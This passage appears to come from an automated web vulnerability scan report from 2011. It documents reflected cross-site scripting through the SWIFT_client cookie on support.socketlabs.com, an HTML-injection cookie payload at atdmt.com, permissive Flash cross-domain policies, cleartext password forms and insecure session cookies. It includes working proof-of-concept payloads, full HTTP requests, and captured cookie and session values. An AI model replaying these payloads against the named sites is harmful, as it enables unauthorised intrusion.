GET /index.php/Base/UserRegistration/Register HTTP/1.1
Host: support.socketlabs.com
Connection: keep-alive
Referer: https://support.socketlabs.com/index.php/Base/User/Login
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: wooTracker=U1NI3DMK2PFIBO4BHUYTYMWQTGG1A999; wooMeta=ODUwNjQmMSYyJjI4OTYxOSYxMzE2MTg2Nzk5NDEwJjEzMTYxODcwODkwMjgmaHR0cCUzQSUyRiUyRnd3dy5nb29nbGUuY29tJTJGc2VhcmNoJTNGc291cmNlaWQlM0RjaHJvbWUlMjZpZSUzRFVURi04JTI2cSUzRHNtdHAlMkJzZXJ2ZXImMTAxJnNtdHArc2VydmVyJjUwMDI1OSYmJiY=; SWIFT_client=12dc8<script>alert(1)</script>00e1e0fd60f; SWIFT_sessionid40=es1qz018py0u704q2o1k7083rf1lm0bf

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 15:23:18 GMT
Server: Apache
X-Powered-By: PHP/5.3.3-1ubuntu9.1
Set-Cookie: SWIFT_client=a%3A1%3A%7Bs%3A15%3A%22templategroupid%22%3Bs%3A1%3A%221%22%3B%7D; expires=Sat, 15-Sep-2012 15:23:18 GMT; path=/; domain=support.socketlabs.com
Vary: Accept-Encoding
Content-Length: 18751
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html

<div style="BACKGROUND: #f8ebeb; FONT: 13px Trebuchet MS, Verdana, Helvetica, Arial; BORDER: 1px SOLID #751616; PADDING: 10px; MARGIN: 5px;"><font color="red">[Notice]: unserialize(): Error at offset
...[SNIP]...
</div>
UNSERIALIZE FAILED: 12dc8<script>alert(1)</script>00e1e0fd60f<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
...[SNIP]...

2.177. https://support.socketlabs.com/index.php/Base/UserRegistration/RegisterSubmit [SWIFT_client cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://support.socketlabs.com
Path:	/index.php/Base/UserRegistration/RegisterSubmit

Issue detail

The value of the SWIFT_client cookie is copied into the HTML document as plain text between tags. The payload a1ea1<script>alert(1)</script>4527f5cb25c was submitted in the SWIFT_client cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

POST /index.php/Base/UserRegistration/RegisterSubmit HTTP/1.1
Host: support.socketlabs.com
Connection: keep-alive
Referer: https://support.socketlabs.com/index.php/Base/UserRegistration/Register
Content-Length: 630
Cache-Control: max-age=0
Origin: https://support.socketlabs.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKmcBgFc5dd4a1T1r
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: wooTracker=U1NI3DMK2PFIBO4BHUYTYMWQTGG1A999; wooMeta=ODUwNjQmMSYyJjI4OTYxOSYxMzE2MTg2Nzk5NDEwJjEzMTYxODcwODkwMjgmaHR0cCUzQSUyRiUyRnd3dy5nb29nbGUuY29tJTJGc2VhcmNoJTNGc291cmNlaWQlM0RjaHJvbWUlMjZpZSUzRFVURi04JTI2cSUzRHNtdHAlMkJzZXJ2ZXImMTAxJnNtdHArc2VydmVyJjUwMDI1OSYmJiY=; SWIFT_client=a1ea1<script>alert(1)</script>4527f5cb25c; SWIFT_sessionid40=es1qz018py0u704q2o1k7083rf1lm0bf

------WebKitFormBoundaryKmcBgFc5dd4a1T1r
Content-Disposition: form-data; name="fullname"

------WebKitFormBoundaryKmcBgFc5dd4a1T1r
Content-Disposition: form-data; name="regemail"

------WebK
...[SNIP]...

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 15:24:23 GMT
Server: Apache
X-Powered-By: PHP/5.3.3-1ubuntu9.1
Set-Cookie: SWIFT_client=a%3A1%3A%7Bs%3A15%3A%22templategroupid%22%3Bs%3A1%3A%221%22%3B%7D; expires=Sat, 15-Sep-2012 15:24:23 GMT; path=/; domain=support.socketlabs.com
Vary: Accept-Encoding
Content-Length: 19767
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html

<div style="BACKGROUND: #f8ebeb; FONT: 13px Trebuchet MS, Verdana, Helvetica, Arial; BORDER: 1px SOLID #751616; PADDING: 10px; MARGIN: 5px;"><font color="red">[Notice]: unserialize(): Error at offset
...[SNIP]...
</div>
UNSERIALIZE FAILED: a1ea1<script>alert(1)</script>4527f5cb25c<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
...[SNIP]...

2.178. https://support.socketlabs.com/rss [SWIFT_client cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://support.socketlabs.com
Path:	/rss

Issue detail

The value of the SWIFT_client cookie is copied into the HTML document as plain text between tags. The payload 16d5b<script>alert(1)</script>5f575fa2724 was submitted in the SWIFT_client cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /rss?63681bd8 HTTP/1.1
Host: support.socketlabs.com
Connection: keep-alive
Referer: https://support.socketlabs.com/
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Content-Type: application/x-www-form-urlencoded
Accept: application/xml, text/xml, */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: wooTracker=U1NI3DMK2PFIBO4BHUYTYMWQTGG1A999; wooMeta=ODUwNjQmMSYyJjI4OTYxOSYxMzE2MTg2Nzk5NDEwJjEzMTYxODcwODkwMjgmaHR0cCUzQSUyRiUyRnd3dy5nb29nbGUuY29tJTJGc2VhcmNoJTNGc291cmNlaWQlM0RjaHJvbWUlMjZpZSUzRFVURi04JTI2cSUzRHNtdHAlMkJzZXJ2ZXImMTAxJnNtdHArc2VydmVyJjUwMDI1OSYmJiY=; SWIFT_client=16d5b<script>alert(1)</script>5f575fa2724; SWIFT_sessionid40=es1qz018py0u704q2o1k7083rf1lm0bf

Response (redirected)

HTTP/1.0 404 Not Found
Date: Fri, 16 Sep 2011 15:22:56 GMT
Server: Apache
X-Powered-By: PHP/5.3.3-1ubuntu9.1
Set-Cookie: SWIFT_client=a%3A1%3A%7Bs%3A15%3A%22templategroupid%22%3Bs%3A1%3A%221%22%3B%7D; expires=Sat, 15-Sep-2012 15:22:56 GMT; path=/; domain=support.socketlabs.com
Status: 404 Not Found
Vary: Accept-Encoding
Content-Length: 549
Connection: close
Content-Type: text/html

<div style="BACKGROUND: #f8ebeb; FONT: 13px Trebuchet MS, Verdana, Helvetica, Arial; BORDER: 1px SOLID #751616; PADDING: 10px; MARGIN: 5px;"><font color="red">[Notice]: unserialize(): Error at offset
...[SNIP]...
</div>
UNSERIALIZE FAILED: 16d5b<script>alert(1)</script>5f575fa2724<div style="BACKGROUND: #f8ebeb; FONT: 13px Trebuchet MS, Verdana, Helvetica, Arial; BORDER: 1px SOLID #751616; PADDING: 10px; MARGIN: 5px;">
...[SNIP]...

2.179. https://support.socketlabs.com/rss/ [SWIFT_client cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://support.socketlabs.com
Path:	/rss/

Issue detail

The value of the SWIFT_client cookie is copied into the HTML document as plain text between tags. The payload ca1b3<script>alert(1)</script>d8b8a3855c7 was submitted in the SWIFT_client cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /rss/?63681bd8 HTTP/1.1
Host: support.socketlabs.com
Connection: keep-alive
Referer: https://support.socketlabs.com/
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Content-Type: application/x-www-form-urlencoded
Accept: application/xml, text/xml, */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: wooTracker=U1NI3DMK2PFIBO4BHUYTYMWQTGG1A999; wooMeta=ODUwNjQmMSYyJjI4OTYxOSYxMzE2MTg2Nzk5NDEwJjEzMTYxODcwODkwMjgmaHR0cCUzQSUyRiUyRnd3dy5nb29nbGUuY29tJTJGc2VhcmNoJTNGc291cmNlaWQlM0RjaHJvbWUlMjZpZSUzRFVURi04JTI2cSUzRHNtdHAlMkJzZXJ2ZXImMTAxJnNtdHArc2VydmVyJjUwMDI1OSYmJiY=; SWIFT_client=ca1b3<script>alert(1)</script>d8b8a3855c7; SWIFT_sessionid40=es1qz018py0u704q2o1k7083rf1lm0bf

Response

HTTP/1.0 404 Not Found
Date: Fri, 16 Sep 2011 15:22:24 GMT
Server: Apache
X-Powered-By: PHP/5.3.3-1ubuntu9.1
Set-Cookie: SWIFT_client=a%3A1%3A%7Bs%3A15%3A%22templategroupid%22%3Bs%3A1%3A%221%22%3B%7D; expires=Sat, 15-Sep-2012 15:22:24 GMT; path=/; domain=support.socketlabs.com
Status: 404 Not Found
Vary: Accept-Encoding
Content-Length: 549
Connection: close
Content-Type: text/html

<div style="BACKGROUND: #f8ebeb; FONT: 13px Trebuchet MS, Verdana, Helvetica, Arial; BORDER: 1px SOLID #751616; PADDING: 10px; MARGIN: 5px;"><font color="red">[Notice]: unserialize(): Error at offset
...[SNIP]...
</div>
UNSERIALIZE FAILED: ca1b3<script>alert(1)</script>d8b8a3855c7<div style="BACKGROUND: #f8ebeb; FONT: 13px Trebuchet MS, Verdana, Helvetica, Arial; BORDER: 1px SOLID #751616; PADDING: 10px; MARGIN: 5px;">
...[SNIP]...

2.180. http://view.atdmt.com/iaction/adoapn_AppNexusDemoActionTag_1 [AA002 cookie] previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://view.atdmt.com
Path:	/iaction/adoapn_AppNexusDemoActionTag_1

Issue detail

The value of the AA002 cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1d2ac"><a>a5069e0a4f4 was submitted in the AA002 cookie. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /iaction/adoapn_AppNexusDemoActionTag_1 HTTP/1.1
Host: view.atdmt.com
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/smtp-server-software-2/?gclid=CL3QyvqJoqsCFSOAgwodRgln2A
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: AA002=1314814617-33987501d2ac"><a>a5069e0a4f4; TOptOut=1; ach00=eb2a/1c72:ec40/2f33; ach01=da2c1b5/1c72/e2f178b/eb2a/4e67d23e:da2c0cc/1c72/85c9f4b/eb2a/4e67d832:ca9bfb6/2f33/14f1ae7d/ec40/4e67d8e2; ANON=A=09C89511BF100DC2E6BE1C66FFFFFFFF&E=bb2&W=1; NAP=V=1.9&E=b58&C=FWWeOdQjav4-01BzsznEtT1CJyfe8xjK06kPzseNod3oP8GMWbUKsw&W=1; MUID=9FA60E9E25934DD3BB2BBC07F1AAFA23

Response

HTTP/1.1 200 OK
Cache-Control: no-store
Content-Type: text/html
Expires: 0
Vary: Accept-Encoding
Date: Fri, 16 Sep 2011 15:27:20 GMT
Connection: close
Content-Length: 461

<html><body><img src="http://ec.atdmt.com/images/pixel.gif" width="1" height="1" border="0" /><img src="http://ib.adnxs.com/pxj?bidder=55&action=SetAdMarketCookies(%22AA002%3d1314814617-33987501d2ac"><a>a5069e0a4f4%7cMUID%3d3c386d14ba7b606a2dd16f7bb97b6008%7cTOptOut%3d1%7cEANON%3dA%253d0179022FMvh3YrnOeAXLQNmzAI0Agb6MEZrqWn99zaTqEFVb2jpZCBv5WstkgHMVIjxIXdZlhzQrurEv81-nL6cqmAMwi%2526E%253dFFF%2526W%253d1%22);" wi
...[SNIP]...

3. Flash cross-domain policy previous next
There are 5 instances of this issue:

http://imagesak.securepaynet.net/crossdomain.xml
http://widget.uservoice.com/crossdomain.xml
http://googleads.g.doubleclick.net/crossdomain.xml
http://static.ak.fbcdn.net/crossdomain.xml
http://www.facebook.com/crossdomain.xml

Issue background

The Flash cross-domain policy controls whether Flash client components running on other domains can perform two-way interaction with the domain which publishes the policy. If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially gain full access to the application within the security context of the logged in user.

Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by a third-party attacker to exploit the trust relationship and attack the application which allows access.

Issue remediation

You should review the domains which are allowed by the Flash cross-domain policy and determine whether it is appropriate for the application to fully trust both the intentions and security posture of those domains.

3.1. http://imagesak.securepaynet.net/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://imagesak.securepaynet.net
Path:	/crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which allows access from any domain.

Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.

Request

GET /crossdomain.xml HTTP/1.0
Host: imagesak.securepaynet.net

Response

HTTP/1.0 200 OK
Content-Type: text/xml
Last-Modified: Mon, 03 Dec 2007 15:49:44 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Cache-Control: max-age=3888000
Date: Fri, 16 Sep 2011 18:07:29 GMT
Content-Length: 203
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-poli
...[SNIP]...

3.2. http://widget.uservoice.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://widget.uservoice.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: widget.uservoice.com

Response

HTTP/1.0 200 OK
Server: nginx/0.8.54
Content-Type: text/xml; charset=utf-8
Last-Modified: Fri, 25 Mar 2011 16:25:17 GMT
Date: Fri, 16 Sep 2011 15:26:56 GMT
Content-Length: 378
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">

<cross-domain-policy>
<site
...[SNIP]...
<allow-access-from domain="*" />
...[SNIP]...

3.3. http://googleads.g.doubleclick.net/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://googleads.g.doubleclick.net
Path:	/crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which uses a wildcard to specify allowed domains, and allows access from specific other domains.

Using a wildcard to specify allowed domains means that any domain matching the wildcard expression can perform two-way interaction with this application. You should only use this policy if you fully trust every possible web site that may reside on a domain which matches the wildcard expression.

Allowing access from specific domains means that web sites on those domains can perform two-way interaction with this application. You should only use this policy if you fully trust the specific domains allowed by the policy.

Request

GET /crossdomain.xml HTTP/1.0
Host: googleads.g.doubleclick.net

Response

HTTP/1.0 200 OK
P3P: policyref="http://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Content-Type: text/x-cross-domain-policy; charset=UTF-8
Last-Modified: Thu, 15 Sep 2011 22:33:08 GMT
Date: Fri, 16 Sep 2011 04:48:02 GMT
Expires: Sat, 17 Sep 2011 04:48:02 GMT
X-Content-Type-Options: nosniff
Server: cafe
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=86400
Age: 38327

<?xml version="1.0"?>

<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="maps.gstatic.com" />
<allow-access-from domain="maps.gstatic.cn" />
<allow-access-from domain="*.googlesyndication.com" />
<allow-access-from domain="*.google.com" />
<allow-access-from domain="*.google.ae" />
<allow-access-from domain="*.google.at" />
<allow-access-from domain="*.google.be" />
<allow-access-from domain="*.google.ca" />
<allow-access-from domain="*.google.ch" />
<allow-access-from domain="*.google.cn" />
<allow-access-from domain="*.google.co.il" />
<allow-access-from domain="*.google.co.in" />
<allow-access-from domain="*.google.co.jp" />
<allow-access-from domain="*.google.co.kr" />
<allow-access-from domain="*.google.co.nz" />
<allow-access-from domain="*.google.co.uk" />
<allow-access-from domain="*.google.co.ve" />
<allow-access-from domain="*.google.co.za" />
<allow-access-from domain="*.google.com.ar" />
<allow-access-from domain="*.google.com.au" />
<allow-access-from domain="*.google.com.br" />
<allow-access-from domain="*.google.com.gr" />
<allow-access-from domain="*.google.com.hk" />
<allow-access-from domain="*.google.com.ly" />
<allow-access-from domain="*.google.com.mx" />
<allow-access-from domain="*.google.com.my" />
<allow-access-from domain="*.google.com.pe" />
<allow-access-from domain="*.google.com.ph" />
<allow-access-from domain="*.google.com.pk" />
<allow-access-from domain="*.google.com.ru" />
<allow-access-from domain="*.google.com.sg" />
<allow-access-from domain="*.google.com.tr" />
<allow-access-from domain="*.google.com.tw" />
<allow-access-from domain="*.google.com.ua" />
<allow-access-from domain="*.google.com.vn" />
<allow-access-from domain="*.google.de" />
<allow-access-from domain="*.google.dk" />
<allow-access-from domain="*.google.es" />
<allow-access-from domain="*.google.fi" />
<allow-access-from domain="*.google.fr" />
<allow-access-from domain="*.google.it" />
<allow-access-from domain="*.google.lt" />
<allow-access-from domain="*.google.lv" />
<allow-access-from domain="*.google.nl" />
<allow-access-from domain="*.google.no" />
<allow-access-from domain="*.google.pl" />
<allow-access-from domain="*.google.pt" />
<allow-access-from domain="*.google.ro" />
<allow-access-from domain="*.google.se" />
<allow-access-from domain="*.google.sk" />
<allow-access-from domain="*.youtube.com" />
<allow-access-from domain="*.ytimg.com" />
<allow-access-from domain="*.2mdn.net" />
<allow-access-from domain="*.doubleclick.net" />
<allow-access-from domain="*.doubleclick.com" />
...[SNIP]...

3.4. http://static.ak.fbcdn.net/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://static.ak.fbcdn.net
Path:	/crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which uses a wildcard to specify allowed domains, allows access from specific other domains, and allows access from specific subdomains.

Using a wildcard to specify allowed domains means that any domain matching the wildcard expression can perform two-way interaction with this application. You should only use this policy if you fully trust every possible web site that may reside on a domain which matches the wildcard expression.

Allowing access from specific domains means that web sites on those domains can perform two-way interaction with this application. You should only use this policy if you fully trust the specific domains allowed by the policy.

Request

GET /crossdomain.xml HTTP/1.0
Host: static.ak.fbcdn.net

Response

HTTP/1.0 200 OK
Content-Type: text/x-cross-domain-policy;charset=utf-8
X-FB-Server: 10.30.146.197
X-Cnection: close
Date: Fri, 16 Sep 2011 15:26:56 GMT
Content-Length: 1527
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
   <site-control permitted-cross-domain-policies="master-only" /
...[SNIP]...
<allow-access-from domain="s-static.facebook.com" />
   <allow-access-from domain="static.facebook.com" />
   <allow-access-from domain="static.api.ak.facebook.com" />
   <allow-access-from domain="*.static.ak.facebook.com" />
   <allow-access-from domain="s-static.thefacebook.com" />
   <allow-access-from domain="static.thefacebook.com" />
   <allow-access-from domain="static.api.ak.thefacebook.com" />
   <allow-access-from domain="*.static.ak.thefacebook.com" />
   <allow-access-from domain="*.static.ak.fbcdn.com" />
   <allow-access-from domain="s-static.ak.fbcdn.net" />
   <allow-access-from domain="*.static.ak.fbcdn.net" />
   <allow-access-from domain="s-static.ak.facebook.com" />
   <allow-access-from domain="www.facebook.com" />
   <allow-access-from domain="www.new.facebook.com" />
   <allow-access-from domain="register.facebook.com" />
   <allow-access-from domain="login.facebook.com" />
   <allow-access-from domain="ssl.facebook.com" />
   <allow-access-from domain="secure.facebook.com" />
   <allow-access-from domain="ssl.new.facebook.com" />
...[SNIP]...
<allow-access-from domain="fvr.facebook.com" />
   <allow-access-from domain="www.latest.facebook.com" />
   <allow-access-from domain="www.inyour.facebook.com" />
   <allow-access-from domain="www.beta.facebook.com" />
...[SNIP]...

3.5. http://www.facebook.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.facebook.com

Response

HTTP/1.0 200 OK
Content-Type: text/x-cross-domain-policy;charset=utf-8
X-FB-Server: 10.62.226.57
Connection: close
Content-Length: 1527

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
   <site-control permitted-cross-domain-policies="master-only" /
...[SNIP]...
<allow-access-from domain="s-static.facebook.com" />
   <allow-access-from domain="static.facebook.com" />
   <allow-access-from domain="static.api.ak.facebook.com" />
   <allow-access-from domain="*.static.ak.facebook.com" />
   <allow-access-from domain="s-static.thefacebook.com" />
   <allow-access-from domain="static.thefacebook.com" />
   <allow-access-from domain="static.api.ak.thefacebook.com" />
   <allow-access-from domain="*.static.ak.thefacebook.com" />
   <allow-access-from domain="*.static.ak.fbcdn.com" />
   <allow-access-from domain="s-static.ak.fbcdn.net" />
   <allow-access-from domain="*.static.ak.fbcdn.net" />
   <allow-access-from domain="s-static.ak.facebook.com" />
...[SNIP]...
<allow-access-from domain="www.new.facebook.com" />
   <allow-access-from domain="register.facebook.com" />
   <allow-access-from domain="login.facebook.com" />
   <allow-access-from domain="ssl.facebook.com" />
   <allow-access-from domain="secure.facebook.com" />
   <allow-access-from domain="ssl.new.facebook.com" />
   <allow-access-from domain="static.ak.fbcdn.net" />
   <allow-access-from domain="fvr.facebook.com" />
   <allow-access-from domain="www.latest.facebook.com" />
   <allow-access-from domain="www.inyour.facebook.com" />
   <allow-access-from domain="www.beta.facebook.com" />
...[SNIP]...

4. Cleartext submission of password previous next
There are 2 instances of this issue:

http://shoprunner.force.com/content/JsContentElementsDRGS
http://www.thewhir.com/web-hosting-news/091611_Go_Daddy_Helping_Customers_Repair_Compromised_Sites

Issue background

Passwords submitted over an unencrypted connection are vulnerable to capture by an attacker who is suitably positioned on the network. This includes any malicious party located on the user's own network, within their ISP, within the ISP used by the application, and within the application's hosting infrastructure. Even if switched networks are employed at some of these locations, techniques exist to circumvent this defence and monitor the traffic passing through switches.

Issue remediation

The application should use transport-level encryption (SSL or TLS) to protect all sensitive communications passing between the client and the server. Communications that should be protected include the login mechanism and related functionality, and any functions where sensitive data can be accessed or privileged actions can be performed. These areas of the application should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications. If HTTP cookies are used for transmitting session tokens, then the secure flag should be set to prevent transmission over clear-text HTTP.

4.1. http://shoprunner.force.com/content/JsContentElementsDRGS previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://shoprunner.force.com
Path:	/content/JsContentElementsDRGS

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://shoprunner.force.com/content/step1

The form contains the following password field:

password2

Request

GET /content/JsContentElementsDRGS HTTP/1.1
Host: shoprunner.force.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.drugstore.com/

Response

HTTP/1.1 200 OK
Server:
X-Powered-By: Salesforce.com ApexPages
P3P: CP="CUR OTR STA"
Last-Modified: Fri, 16 Sep 2011 16:30:03 GMT
Content-Type: text/javascript; charset=UTF-8
Content-Length: 117074
Vary: Accept-Encoding
Cache-Control: public, max-age=30
Expires: Fri, 16 Sep 2011 16:31:05 GMT
Date: Fri, 16 Sep 2011 16:30:35 GMT
Connection: close

function sr_run(){
return false
}

/* -----------------------------------------
* Global Variables
----------------------------------------- */
//the shoprunner object
var sr_$={};
sr_$.contents={}
...[SNIP]...
</div>';

//learn step 1
var s1_form='<form action="step1" id="sr_lrn1F" name="sr_step1" onsubmit="if(sr_$.actions.validate.form(\'sr_lrn1F\')){sr_$.actions.learnStep(2);}return false;"><h4 class="sr_htag">
...[SNIP]...
</label><input class="sr_vpassword" name="password2" tabindex="1" type="password"></li>
...[SNIP]...

4.2. http://www.thewhir.com/web-hosting-news/091611_Go_Daddy_Helping_Customers_Repair_Compromised_Sites previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.thewhir.com
Path:	/web-hosting-news/091611_Go_Daddy_Helping_Customers_Repair_Compromised_Sites

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.thewhir.com/Auth/login

The form contains the following password field:

password

Request

GET /web-hosting-news/091611_Go_Daddy_Helping_Customers_Repair_Compromised_Sites HTTP/1.1
Host: www.thewhir.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=godaddy+hack#sclient=psy-ab&hl=en&tbo=1&tbs=qdr:w&source=hp&q=godaddy%20malware%20attack&pbx=1&oq=&aq=&aqi=&aql=&gs_sm=&gs_upl=&tbo=1&fp=1&biw=1407&bih=1005&pf=p&pdl=500&bav=on.2,or.r_gc.r_pw.&cad=b
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

5. SSL cookie without secure flag set previous next
There are 9 instances of this issue:

https://email.secureserver.net/
https://portal.opera.com/accounts/login/
https://www.smtp.com/signup
https://idp.godaddy.com/login.aspx
https://idp.godaddy.com/retrieveaccount.aspx
https://idp.godaddy.com/shopper_new.aspx
https://mya.godaddy.com/Default.aspx
https://mya.godaddy.com/myrenewals/myRenewals.aspx
https://www.jangosmtp.com/login.asp

Issue background

If the secure flag is set on a cookie, then browsers will not submit the cookie in any requests that use an unencrypted HTTP connection, thereby preventing the cookie from being trivially intercepted by an attacker monitoring network traffic. If the secure flag is not set, then the cookie will be transmitted in clear-text if the user visits any HTTP URLs within the cookie's scope. An attacker may be able to induce this event by feeding a user suitable links, either directly or via another web site. Even if the domain which issued the cookie does not host any content that is accessed over HTTP, an attacker may be able to use links of the form http://example.com:443/ to perform the same attack.

Issue remediation

The secure flag should be set on all cookies that are used for transmitting sensitive data when accessing content over HTTPS. If cookies are used to transmit session tokens, then areas of the application that are accessed over HTTPS should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications.

5.1. https://email.secureserver.net/ previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	https://email.secureserver.net
Path:	/

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

PHPSESSID=d25fc93ae88ce9e1cd32f84099433d38; path=/; domain=email.secureserver.net

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: email.secureserver.net
Connection: keep-alive
